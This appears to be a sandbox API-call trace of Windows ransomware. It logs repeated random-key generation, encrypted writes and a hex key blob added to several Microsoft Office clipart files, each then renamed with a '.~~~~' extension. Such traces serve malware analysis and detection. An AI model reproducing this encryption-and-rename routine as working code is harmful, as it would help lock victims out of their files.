	[0115.205] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.205] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.205] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23519561420) returned 1
	[0115.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae2ab310, dwHighDateTime=0x1d60e1e)) 
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1e0
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1e0 | out: hHeap=0x300000) returned 1
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af600
	[0115.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.206] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.206] GetLastError () returned 0x0
	[0115.206] GetLastError () returned 0x0
	[0115.207] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.207] GetLastError () returned 0x0
	[0115.207] GetLastError () returned 0x0
	[0115.372] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffaffa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.372] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x5006, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x5006, lpOverlapped=0x0) returned 1
	[0115.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.373] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.373] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.374] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.374] CloseHandle (hObject=0x140) returned 1
	[0115.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.~~~~")) returned 1
	[0115.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.375] GetLastError () returned 0x0
	[0115.376] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.377] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.377] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23536761727) returned 1
	[0115.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae44e230, dwHighDateTime=0x1d60e1e)) 
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283aa68
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283aa68 | out: hHeap=0x300000) returned 1
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af990
	[0115.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.379] GetLastError () returned 0x0
	[0115.379] GetLastError () returned 0x0
	[0115.379] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.379] GetLastError () returned 0x0
	[0115.379] GetLastError () returned 0x0
	[0115.394] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe8a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.394] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1758, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1758, lpOverlapped=0x0) returned 1
	[0115.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.396] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.396] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.396] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.396] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.396] CloseHandle (hObject=0x140) returned 1
	[0115.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.~~~~")) returned 1
	[0115.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.398] GetLastError () returned 0x0
	[0115.398] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.399] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.399] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.400] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23538974721) returned 1
	[0115.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae474390, dwHighDateTime=0x1d60e1e)) 
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283aad8
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283aad8 | out: hHeap=0x300000) returned 1
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28aff80
	[0115.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.400] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.401] GetLastError () returned 0x0
	[0115.401] GetLastError () returned 0x0
	[0115.401] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.401] GetLastError () returned 0x0
	[0115.401] GetLastError () returned 0x0
	[0115.420] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff9a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.420] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x660, lpOverlapped=0x0) returned 1
	[0115.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.421] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.421] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.421] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.421] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.422] CloseHandle (hObject=0x140) returned 1
	[0115.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.~~~~")) returned 1
	[0115.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.462] GetLastError () returned 0x0
	[0115.463] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.465] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.465] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.465] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23545497242) returned 1
	[0115.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae532a70, dwHighDateTime=0x1d60e1e)) 
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ac28
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ac28 | out: hHeap=0x300000) returned 1
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b00b0
	[0115.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.466] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.466] GetLastError () returned 0x0
	[0115.466] GetLastError () returned 0x0
	[0115.466] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.466] GetLastError () returned 0x0
	[0115.466] GetLastError () returned 0x0
	[0115.478] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffd752, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.478] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x28ae, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x28ae, lpOverlapped=0x0) returned 1
	[0115.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.479] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.479] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.479] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.479] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.480] CloseHandle (hObject=0x140) returned 1
	[0115.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.480] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.~~~~")) returned 1
	[0115.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.481] GetLastError () returned 0x0
	[0115.490] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.491] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.492] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.492] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23548188983) returned 1
	[0115.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae558bd0, dwHighDateTime=0x1d60e1e)) 
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283acd0
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283acd0 | out: hHeap=0x300000) returned 1
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b04d8
	[0115.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.492] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.493] GetLastError () returned 0x0
	[0115.493] GetLastError () returned 0x0
	[0115.493] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.493] GetLastError () returned 0x0
	[0115.493] GetLastError () returned 0x0
	[0115.563] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc018, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.563] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3fe8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x3fe8, lpOverlapped=0x0) returned 1
	[0115.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.566] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.566] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.566] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.566] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.567] CloseHandle (hObject=0x140) returned 1
	[0115.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f69d0
	[0115.567] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.~~~~")) returned 1
	[0115.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.568] GetLastError () returned 0x0
